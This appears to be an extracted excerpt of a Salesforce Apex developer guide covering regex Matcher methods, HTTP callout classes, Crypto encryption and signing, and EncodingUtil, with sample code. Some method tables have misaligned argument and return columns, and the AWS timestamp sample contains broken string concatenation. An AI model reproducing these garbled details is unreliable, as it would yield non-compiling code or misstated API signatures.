<td>Like the matches method, this method always starts at the beginning of the region; unlike that method, it does not require the entire region be matched.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If the match succeeds, more information can be obtained using the start, end, and group methods.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>See Using Regions on page 369.</td>
</tr>
<tr>
<td>matches</td>
<td>Boolean</td>
<td></td>
<td>Attempts to match the entire region against the pattern.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If the match succeeds, more information can be obtained using the start, end, and group methods.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Returns</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>--------------------</td>
<td>------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>pattern</td>
<td></td>
<td>Pattern object</td>
<td>Returns the Pattern object from which this Matcher object was created.</td>
</tr>
<tr>
<td>region</td>
<td>Integer <code>start</code></td>
<td>Matcher object</td>
<td>Sets the limits of this Matcher object's region. The region is the part of</td>
</tr>
<tr>
<td></td>
<td>Integer <code>end</code></td>
<td></td>
<td>the input sequence that is searched to find a match. This method first</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>resets the Matcher object, then sets the region to start at the index</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>specified by <code>start</code> and end at the index specified by <code>end</code>.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Depending on the transparency boundaries being used, certain constructs</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>such as anchors may behave differently at or around the boundaries of the</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>region.</td>
</tr>
<tr>
<td>regionEnd</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the end index (exclusive) of this Matcher object's region.</td>
</tr>
<tr>
<td>regionStart</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the start index (inclusive) of this Matcher object's region.</td>
</tr>
<tr>
<td>replaceAll</td>
<td>String <code>s</code></td>
<td>String</td>
<td>Replaces every subsequence of the input sequence that matches the pattern</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>with the replacement string <code>s</code>.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method first resets the Matcher object, then scans the input sequence</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>looking for matches of the pattern. Characters that are not part of any</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>match are appended directly to the result string; each match is replaced</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>in the result by the replacement string. The replacement string may contain</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>references to captured subsequences.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that backslashes () and dollar signs ($) in the replacement string</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>may cause the results to be different than if the string was treated as a</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>literal replacement string. Dollar signs may be treated as references to</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>captured subsequences, and backslashes are used to escape literal</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>characters in the replacement string.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Invoking this method changes this Matcher object's state. If the Matcher</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>object is to be</td>
</tr>
</tbody>
</table>

See Using Regions on page 369.
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>replaceFirst</td>
<td>String s</td>
<td>String</td>
<td>Replaces the first subsequence of the input sequence that matches the pattern with the replacement string s.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that backslashes () and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Invoking this method changes this Matcher object’s state. If the Matcher object is to be used in further matching operations it should first be reset.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Given the regular expression dog, the input &quot;zzzdogzzzdogzzz&quot;, and the replacement string &quot;cat&quot;, an invocation of this method on a Matcher object for that expression would return the string &quot;zzzcatzzzdogzzz&quot;.</td>
</tr>
<tr>
<td>requireEnd</td>
<td>Boolean</td>
<td></td>
<td>Returns true if more input could change a positive match into a negative one.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If this method returns true, and a match was found, then more input could cause the match to be lost.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If this method returns false and a match was found, then more input might change the match but the match won’t be lost.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If a match was not found, then requireEnd has no meaning.</td>
</tr>
<tr>
<td>reset</td>
<td>Matcher object</td>
<td></td>
<td>Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Returns</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------</td>
<td>--------------------------</td>
<td>--------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>reset</td>
<td>String $s$</td>
<td>Matcher</td>
<td>Resets this Matcher object with the new input sequence $s$. Resetting a Matcher object discards all of its explicit state information.</td>
</tr>
<tr>
<td>start</td>
<td></td>
<td>Integer</td>
<td>Returns the start index of the first character of the previous match.</td>
</tr>
<tr>
<td>start</td>
<td>Integer $groupIndex$</td>
<td>Integer</td>
<td>Returns the start index of the subsequence captured by the group specified by $groupIndex$ during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0) is equivalent to m.start(). See Understanding Capturing Groups on page 370.</td>
</tr>
<tr>
<td>useAnchoringBounds</td>
<td>Boolean $b$</td>
<td>Matcher object</td>
<td>Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions. If you specify true for this method, the Matcher object uses anchoring bounds. If you specify false, non-anchoring bounds are used. If a Matcher object uses anchoring bounds, the boundaries of this Matcher object’s region match start and end of line anchors such as ^ and $. For more information, see Using Bounds on page 369.</td>
</tr>
<tr>
<td>usePattern</td>
<td>Pattern $pattern$</td>
<td>Matcher object</td>
<td>Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object’s position in the input is maintained.</td>
</tr>
<tr>
<td>useTransparentBounds</td>
<td>Boolean $b$</td>
<td>Matcher object</td>
<td>Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions. If you specify true for this method, the Matcher object uses transparent bounds. If you specify false, opaque bounds are used.</td>
</tr>
</tbody>
</table>
HTTP (RESTful) Services Classes

You can access HTTP services, also called RESTful services, using the following classes:

- **HTTP Classes**
- **Crypto Class**
- **EncodingUtil Class**

**HTTP Classes**

These classes expose the general HTTP request/response functionality:

- **Http Class**: Use this class to initiate an HTTP request and response.
- **HttpRequest Class**: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
- **HttpResponse Class**: Use this class to handle the HTTP response returned by HTTP.

The **HttpRequest** and **HttpResponse** classes support the following elements:

- **HttpRequest**:
  - HTTP request types such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS.
  - Request headers if needed.
  - Read and connection timeouts.
  - Redirects if needed.
  - Content of the message body.

- **HttpResponse**:
  - The HTTP status code.
  - Response headers if needed.
  - Content of the response body.

The following example shows an HTTP GET request made to the external server specified by the value of `url` that gets passed into the `getContent` method. This example also shows accessing the body of the returned response:

```java
public class HttpCalloutSample {

    // Pass in the endpoint to be used using the string url
    public String getContent(String url) {

        // Instantiate a new http object
        Http h = new Http();

        // Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
        HttpRequest req = new HttpRequest();
        req.setEndpoint(url);
        req.setMethod('GET');

        // Send the request, and return a response
        HttpResponse res = h.send(req);
        return res.getBody();
    }
}
```
Before you can access external servers from an endpoint or redirect endpoint using Apex or any other feature, you must add the remote site to a list of authorized remote sites in the Salesforce user interface. To do this, log in to Salesforce and select Your Name ➤ Setup ➤ Security Controls ➤ Remote Proxy Settings.

Note: The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information about the AJAX proxy, see AJAX Toolkit documentation.

Use the DOM Classes to parse XML content in the body of a request created by HttpRequest or a response accessed by HttpResponse.

**HttpRequest Class**

Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.

Use the DOM Classes to parse XML content in the body of a request created by HttpRequest.

The HttpRequest class contains the following public methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>send</td>
<td>HttpRequest request</td>
<td>System.HttpResponse</td>
<td>Sends an HttpRequest and returns the response.</td>
</tr>
<tr>
<td>toString</td>
<td></td>
<td>String</td>
<td>Returns a string that displays and identifies the object's properties.</td>
</tr>
</tbody>
</table>

**HttpResponse Class**

Use the HttpResponse class to create and access HTTP responses.

The HttpResponse class contains the following public methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getBody</td>
<td>String</td>
<td>String</td>
<td>Retrieve the body of this request.</td>
</tr>
<tr>
<td>setBody</td>
<td>String body</td>
<td>Void</td>
<td>Set the contents of the body for this request. Limit: 3 MB. The HTTP request and response sizes are calculated as part of the total heap size. So regardless of this limit, don’t exceed the 3 MB total heap size.</td>
</tr>
<tr>
<td>getBodyDocument</td>
<td>Dom.Document</td>
<td>String</td>
<td>Retrieve the body of this request as a DOM document. Use it as a shortcut for:</td>
</tr>
<tr>
<td>setBodyDocument</td>
<td>Dom.Document document</td>
<td>Void</td>
<td>Set the contents of the body for this request. The contents represent a DOM document. Limit: 3 MB.</td>
</tr>
<tr>
<td>getCompressed</td>
<td>Boolean</td>
<td>Boolean</td>
<td>If true, the request body is compressed, false otherwise.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------</td>
<td>----------------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>setCompressed</td>
<td>Boolean flag</td>
<td>Void</td>
<td>If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.</td>
</tr>
<tr>
<td>getEndpoint</td>
<td>String endpoint</td>
<td>Void</td>
<td>Retrieve the URL for the endpoint of the external server for this request.</td>
</tr>
<tr>
<td>setEndpoint</td>
<td>String endpoint</td>
<td>Void</td>
<td>Set the URL for the endpoint of the external server for this request.</td>
</tr>
<tr>
<td>getHeader</td>
<td>String key</td>
<td>String</td>
<td>Retrieve the contents of the request header.</td>
</tr>
<tr>
<td>setHeader</td>
<td>String key, String Value</td>
<td>Void</td>
<td>Set the contents of the request header. Limit 100 KB.</td>
</tr>
<tr>
<td>getMethod</td>
<td>String</td>
<td>String</td>
<td>Returns the type of method used by HttpRequest, for example, GET, POST, TRACE, PUT, HEAD, or DELETE.</td>
</tr>
<tr>
<td>setMethod</td>
<td>String method</td>
<td></td>
<td>Set the type of method to be used for the HTTP request, for example GET, POST, TRACE, PUT, HEAD, or DELETE. You can also use this method to set any required options.</td>
</tr>
<tr>
<td>setClientCertificate</td>
<td>String clientCert, String password</td>
<td>Void</td>
<td>This method is deprecated. Use setClientCertificateName instead. If the server requires a client certificate for authentication, set the certificate PKCS12 key store and password.</td>
</tr>
<tr>
<td>setClientCertificateName</td>
<td>String certDevName</td>
<td>Void</td>
<td>If the external service requires a client certificate for authentication, set the certificate name. See Using Certificates with HTTP Requests on page 214.</td>
</tr>
<tr>
<td>setTimeout</td>
<td>Integer timeout</td>
<td>Void</td>
<td>Set the timeout in milliseconds for the request. This can be any value between 1 and 60,000 milliseconds.</td>
</tr>
<tr>
<td>toString</td>
<td>String</td>
<td></td>
<td>Return a string containing the URL for the endpoint of the external server for this request and the method used, for example Endpoint=<a href="http://www.salesforcesampletest.org">http://www.salesforcesampletest.org</a>, Method=POST</td>
</tr>
</tbody>
</table>

The following example illustrates how you can use an authorization header with a request, and handle the response:

```java
public class AuthCallout {

    public void basicAuthCallout(){
        HttpRequest req = new HttpRequest();
        req.setEndpoint('http://www.yahoo.com');
        req.setMethod('GET');

        // Specify the required user name and password to access the endpoint
        // As well as the header and header information
        String username = 'myname';
```
String password = 'mypwd';

Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' + EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);

// Create a new http object to send the request object
// A response object is generated as a result of the request
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
}

Compression

If you need to compress the data you send, use setCompressed, as the following sample illustrates:

HttpRequest req = new HttpRequest();
req.setEndPoint('my_endpoint');
req.setCompressed(true);
req.setBody('some post body');

If a response comes back in compressed format, getBody automatically recognizes the format, uncompresses it, and returns the uncompressed value.

HttpResponse Class

Use the HttpResponse class to handle the HTTP response returned by the Http class.

Use the DOM Classes to parse XML content in the body of a response accessed by HttpResponse.

The HttpResponse class contains the following public methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getBody</td>
<td>String</td>
<td>String</td>
<td>Retrieve the body returned in the response. Limit3 MB.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The HTTP request and response sizes are calculated as part of the total heap size. So regardless of this limit, don’t exceed the 3 MB total heap size.</td>
</tr>
<tr>
<td>getBodyDocument</td>
<td>Dom.Document</td>
<td>String</td>
<td>Retrieve the body returned in the response as a DOM document. Use it as a shortcut for:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String xml = httpResponse.getBody();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Dom.Document domDoc = new Dom.Document(xml);</td>
</tr>
<tr>
<td>getHeader</td>
<td>String key</td>
<td>String</td>
<td>Retrieve the contents of the response header.</td>
</tr>
<tr>
<td>getHeaderKeys</td>
<td>String[]</td>
<td>String</td>
<td>Retrieves an array of header keys returned in the response.</td>
</tr>
<tr>
<td>getStatus</td>
<td>String</td>
<td>String</td>
<td>Retrieve the status message returned for the response.</td>
</tr>
<tr>
<td>getStatusCode</td>
<td>Integer</td>
<td>Integer</td>
<td>Retrieve the value of the status code returned in the response.</td>
</tr>
</tbody>
</table>
Returns an XmlStreamReader (**XmlStreamReader** class) that parses the body of the callout response. Use it as a shortcut for:

```java
String xml = httpResponse.getBody();
XmlStreamReader xsr = new XmlStreamReader(xml);
```

For a full example, see **getXmlStreamReader example** on page 383.

**toString**

Returns the status message and status code returned in the response, for example:

```java
Status=OK, StatusCode=200
```

In the following **getXmlStreamReader example**, content is retrieved from an external Web server, then the XML is parsed using the **XmlStreamReader** class.

```java
public class ReaderFromCalloutSample {

    public void getAndParse() {

        // Get the XML document from the external server
        Http http = new Http();
        HttpRequest req = new HttpRequest();
        req.setEndpoint('http://www.cheenath.com/tutorial/sample1/build.xml');
        req.setMethod('GET');
        HttpResponse res = http.send(req);

        // Log the XML content
        System.debug(res.getBody());

        // Generate the HTTP response as an XML stream
        XmlStreamReader reader = res.getXmlStreamReader();

        // Read through the XML
        while(reader.hasNext()) {
            System.debug('Event Type:' + reader.getEventType());
            if (reader.getEventType() == XmlTag.START_ELEMENT) {
                System.debug(reader.getLocalName());
            }
            reader.next();
        }
    }
}
```

**Crypto Class**

The methods in the **Crypto** class provide standard algorithms for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with external services such as Google or Amazon WebServices (AWS).
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>decrypt</td>
<td>String (algorithmName) Blob privateKey Blob initializationVector Blob cipherText</td>
<td>Blob</td>
<td>Decrypts the blob (cipherText) using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs encrypted using a third party application or the encrypt method. Valid values for (algorithmName) are: - AES128 - AES192 - AES256 These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding. The length of (privateKey) must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you. The initialization vector must be 128 bits (16 bytes.) For an example, see Example Encrypting and Decrypting on page 385. For more information about possible exceptions thrown during execution, see Encrypt and Decrypt Exceptions on page 385.</td>
</tr>
<tr>
<td>decryptWithManagedIV</td>
<td>String (algorithmName) Blob privateKey Blob IVAndCipherText</td>
<td>Blob</td>
<td>Decrypts the blob (IVAndCipherText) using the specified algorithm and private key. Use this method to decrypt blobs encrypted using a third party application or the encryptWithManagedIV method. Valid values for (algorithmName) are: - AES128 - AES192 - AES256 These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding. The length of (privateKey) must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you. The first 128 bits (16 bytes) of (IVAndCipherText) must contain the initialization vector. For an example, see Example Encrypting and Decrypting on page 385.</td>
</tr>
</tbody>
</table>
### encrypt

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><code>String algorithmName</code></td>
<td>Blob</td>
<td>For more information about possible exceptions thrown during execution, see Encrypt and Decrypt Exceptions on page 385.</td>
</tr>
<tr>
<td></td>
<td>Blob <code>privateKey</code></td>
<td></td>
<td>Encrypts the blob <code>clearText</code> using the specified algorithm, private key and initialization vector. Use this method when you want to specify your own initialization vector. The initialization vector must be 128 bits (16 bytes.) Use either a third-party application or the decrypt method to decrypt blobs encrypted using this method. Use the encryptWithManagedIV method if you want Salesforce to generate the initialization vector for you. It is stored as the first 128 bits (16 bytes) of the encrypted blob.</td>
</tr>
<tr>
<td></td>
<td>Blob <code>initializationVector</code></td>
<td></td>
<td>Valid values for <code>algorithmName</code> are:</td>
</tr>
<tr>
<td></td>
<td>Blob <code>clearText</code></td>
<td></td>
<td>• AES128</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• AES192</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• AES256</td>
</tr>
</tbody>
</table>

These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the generateAesKey method to generate this key for you.

For an example, see Example Encrypting and Decrypting on page 385.

For more information about possible exceptions thrown during execution, see Encrypt and Decrypt Exceptions on page 385.

### encryptWithManagedIV

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><code>String algorithmName</code></td>
<td>Blob</td>
<td>Encrypts the blob <code>clearText</code> using the specified algorithm and private key. Use this method when you want Salesforce to generate the initialization vector for you. It is stored as the first 128 bits (16 bytes) of the encrypted blob. Use either third-party applications or the decryptWithManagedIV method to decrypt blobs encrypted with this method. Use the encrypt method if you want to generate your own initialization vector.</td>
</tr>
<tr>
<td></td>
<td>Blob <code>privateKey</code></td>
<td></td>
<td>Valid values for <code>algorithmName</code> are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• AES128</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• AES192</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• AES256</td>
</tr>
</tbody>
</table>
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the `generateAesKey` method to generate this key for you.

For an example, see Example Encrypting and Decrypting on page 385.

For more information about possible exceptions thrown during execution, see Encrypt and Decrypt Exceptions on page 385.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>generateAesKey</td>
<td><code>Integer size</code></td>
<td>Blob</td>
<td>Generates an Advanced Encryption Standard (AES) key. Use <code>size</code> to specify the key's size in bits. Valid values are: 128, 192, 256.</td>
</tr>
<tr>
<td>generateDigest</td>
<td><code>String algorithmName</code></td>
<td>Blob</td>
<td>Computes a secure, one-way hash digest based on the supplied input string and algorithm name. Valid values for <code>algorithmName</code> are: MD5, SHA1, SHA-256, SHA-512.</td>
</tr>
<tr>
<td>generateMac</td>
<td><code>String algorithmName</code></td>
<td>Blob</td>
<td>Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm. The valid values for <code>algorithmName</code> are: hmacMD5, hmacSHA1, hmacSHA256, hmacSHA512. The value of <code>privateKey</code> does not need to be in decoded form. The value cannot exceed 4 KB.</td>
</tr>
<tr>
<td>getRandomInteger</td>
<td>0</td>
<td>Integer</td>
<td>Returns a random Integer.</td>
</tr>
<tr>
<td>getRandomLong</td>
<td>0</td>
<td>Long</td>
<td>Returns a random Long.</td>
</tr>
<tr>
<td>sign</td>
<td><code>String algorithmName</code></td>
<td>Blob</td>
<td>Computes a unique digital signature for the input string, using the supplied private key and the specified algorithm. The valid values for <code>algorithmName</code> are RSA-SHA1 or RSA. Both values represent the same algorithm.</td>
</tr>
</tbody>
</table>
The value of `privateKey` must be decoded using the `EncodingUtil.base64Decode` method, and should be in RSA's PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB.

The following snippet is an example declaration and initialization:

```java
String algorithmName = 'RSA';
String key = 'pkcs8 format private key';
Blob privateKey = EncodingUtil.base64Decode(key);
Blob input = Blob.valueOf('12345qwerty');
Crypto.sign(algorithmName, input, privateKey);
```

### Example Integrating Amazon WebServices

The following example demonstrates an integration of Amazon WebServices with Salesforce:

```java
public class HMACAuthCallout {
    public void testAlexaWSForAmazon() {
        // The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
        DateTime d = System.now();
        String timestamp = '' + d.year() + '-' +
                        d.month() + '-' +
                        d.day() + '
T' +
                        d.hour() + ':' +
                        d.minute() + ':' +
                        d.second() + ':' +
                        d.millisecond() + '
Z' +;
        String timeFormat = d.formatGmt(timestamp);
        String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
        String action = 'UrlInfo';
        String inputStr = action + timeFormat;
        String algorithmName = 'HMacSHA1';
        Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
                                        Blob.valueOf('your_signing_key'));
        String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');
        String urlToTest = 'amazon.com';
        String version = '2005-07-11';
        String endpoint = 'http://awis.amazonaws.com/';
        String accessKey = 'your_key';
        HttpRequest req = new HttpRequest();
        req.setEndpoint(endpoint +
                         '?AWSAccessKeyId=' + accessKey +
                         '&Action=' + action +
                         '&ResponseGroup=Rank&Version=' + version +
                         '&Timestamp=' + urlEncodedTimestamp +
                         '&Url=' + urlToTest +
                         '&Signature=' + macUrl);
        req.setMethod('GET');
        Http http = new Http();
```
try {
  HttpResponse res = http.send(req);
  System.debug('STATUS:' + res.getStatus());
  System.debug('STATUS_CODE:' + res.getStatusCode());
  System.debug('BODY: ' + res.getBody());
} catch (System.CalloutException e) {
  System.debug('ERROR: ' + e);
}

Example Encrypting and Decrypting

The following example uses the `encryptWithManagedIV` and `decryptWithManagedIV` methods, as well as the `generateAesKey` method.

```java
// Use generateAesKey to generate the private key
Blob cryptoKey = Crypto.generateAesKey(256);

// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data to encrypted');

// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);

// Decrypt the data
Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);
```

The following is an example of writing a unit test for the `encryptWithManagedIV` and `decryptWithManagedIV` methods.

```java
@isTest
private class CryptoTest {
    public static testMethod void testValidDecryption() {
        // Use generateAesKey to generate the private key
        Blob key = Crypto.generateAesKey(128);

        // Generate the data to be encrypted.
        Blob data = Blob.valueOf('Test data');

        // Generate an encrypted form of the data using base64 encoding
        String b64Data = EncodingUtil.base64Encode(data);

        // Encrypt and decrypt the data
        Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
        Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);

        String b64Decrypted = EncodingUtil.base64Encode(decryptedData);

        // Verify that the strings still match
        System.assertEquals(b64Data, b64Decrypted);
    }

    public static testMethod void testInvalidDecryption() {
        // Verify that you must use the same key size for encrypting data
        // Generate two private keys, using different key sizes
        Blob keyOne = Crypto.generateAesKey(128);
        Blob keyTwo = Crypto.generateAesKey(256);

        // Generate the data to be encrypted.
        Blob data = Blob.valueOf('Test data');

        // Encrypt the data using the first key
        Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);

        try {
            // Try decrypting the data using the second key
            Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
            System.assert(false);
        } catch (SecurityException e) {
            System.assertEquals('Given final block not properly padded', e.getMessage());
        }
    }
}
```
Encrypt and Decrypt Exceptions
The following exceptions can be thrown for these methods:

- **decrypt**
- **encrypt**
- **decryptWithManagedIV**
- **encryptWithManagedIV**

<table>
<thead>
<tr>
<th>Exception</th>
<th>Message</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>InvalidParameterValue</td>
<td>Unable to parse initialization vector from encrypted data.</td>
<td>Thrown if you're using managed initialization vectors, and the cipher text is less than 16 bytes.</td>
</tr>
<tr>
<td>InvalidParameterValue</td>
<td>Invalid algorithm <em>algoName</em>. Must be AES128, AES192, or AES256.</td>
<td>Thrown if the algorithm name isn't one of the valid values.</td>
</tr>
<tr>
<td>InvalidParameterValue</td>
<td>Invalid private key. Must be <em>size</em> bytes.</td>
<td>Thrown if size of the private key doesn't match the specified algorithm.</td>
</tr>
<tr>
<td>InvalidParameterValue</td>
<td>Invalid initialization vector. Must be 16 bytes.</td>
<td>Thrown if the initialization vector isn’t 16 bytes.</td>
</tr>
<tr>
<td>InvalidParameterValue</td>
<td>Invalid data. Input data is <em>size</em> bytes, which exceeds the limit of 1048576 bytes.</td>
<td>Thrown if the data is greater than 1 MB. For decryption, 1048608 bytes are allowed for the initialization vector header, plus any additional padding the encryption added to align to block size.</td>
</tr>
<tr>
<td>NullPointerException</td>
<td>Argument cannot be null.</td>
<td>Thrown if one of the required method arguments is null.</td>
</tr>
<tr>
<td>SecurityException</td>
<td>Given final block not properly padded.</td>
<td>Thrown if the data isn’t properly block-aligned or similar issues occur during encryption or decryption.</td>
</tr>
<tr>
<td>SecurityException</td>
<td><em>Message Varies</em></td>
<td>Thrown if something goes wrong during either encryption or decryption.</td>
</tr>
</tbody>
</table>

EncodingUtil Class

Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>base64Decode</td>
<td>String <em>inputString</em></td>
<td>Blob</td>
<td>Converts a Base64-encoded String to a Blob representing its normal form.</td>
</tr>
<tr>
<td>base64Encode</td>
<td>Blob <em>inputBlob</em></td>
<td>String</td>
<td>Converts a Blob to an unencoded String representing its normal form.</td>
</tr>
<tr>
<td>convertToHex</td>
<td>Blob <em>inputString</em></td>
<td>String</td>
<td>Returns a hexadecimal (base 16) representation of the <em>inputString</em>. This method can be used to compute the client response (for example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>----------------------</td>
<td>-------------</td>
<td>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>urlDecode</td>
<td>String <code>inputString</code></td>
<td>String</td>
<td>Decodes a string in <code>application/x-www-form-urlencoded</code> format using a specific encoding scheme, for example “UTF-8.” This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the from <code>&quot;%xy&quot;</code>. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.</td>
</tr>
<tr>
<td>urlEncode</td>
<td>String <code>inputString</code></td>
<td>String</td>
<td>Encodes a string into the <code>application/x-www-form-urlencoded</code> format using a specific encoding scheme, for example “UTF-8.” This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0. Example: <code>String encoded = EncodingUtil.urlEncode(url, 'UTF-8');</code></td>
</tr>
</tbody>
</table>

**Note:** You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce. You can, however, download a document from Salesforce. To do so, query the ID of the document using the API `query` call, then request it by ID.

